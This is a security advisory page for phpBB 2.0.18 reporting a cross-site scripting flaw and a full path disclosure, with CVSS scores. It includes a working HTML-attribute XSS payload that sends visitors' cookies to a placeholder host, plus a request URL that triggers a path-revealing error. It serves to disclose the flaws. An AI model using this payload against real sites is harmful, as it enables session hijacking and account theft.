phpBB 2.0.18 XSS and Full Path Disclosure

Risk: Low
Local: No
Remote: Yes

CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

[phpBB 2.0.18 XSS and Full Path Disclosure cXIb8O3.22] Author: Maksymilian Arciemowicz (cXIb8O3) Date: 16.12.2005 - --- 0.Description --- phpBB is a high powered, fully scalable, and highly customizable Open Source bulletin board package. phpBB has a user-friendly interface, simple and straightforward administration panel, and helpful FAQ. Based on the powerful PHP server language and your choice of MySQL, MS-SQL, PostgreSQL or Access/ODBC database servers, phpBB is the ideal free community solution for all web sites. Contact with author - --- 1. XSS --- If in phpbb is Allowed HTML tags "ON" like b,i,u,pre and have you in profile "Always allow HTML: YES" or are you Guest that you can use this tags: <B C=">" onmouseover="alert('')" X="<B "> H E L O </B> Exploit: <B C=">" onmouseover="alert(document.location='http://HOST/cookies?'+document.cookie)" X="<B "> H A L O </B> and have you cookies. - --- 2. Full Path Disclosure --- In file admin/admin_disallow.php is - -25-31--- if( !empty($setmodules) ) { $filename = basename(__FILE__); $module['Users']['Disallow'] = append_sid($filename); return; } - -25-31--- function append_sid() dosen't exists. And if you have: register_globals = On display_errors = On Try to go: http://[HOST]/[DIR]/admin/admin_disallow.php?setmodules=1 - -RESULT ERROR--- Fatal error: Call to undefined function: append_sid() in /www/2018/phpBB2/admin/admin_disallow.php on line 28 - -RESULT ERROR--- - --- 3.Contact --- Author: Maksymilian Arciemowicz


Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024,


Back to Top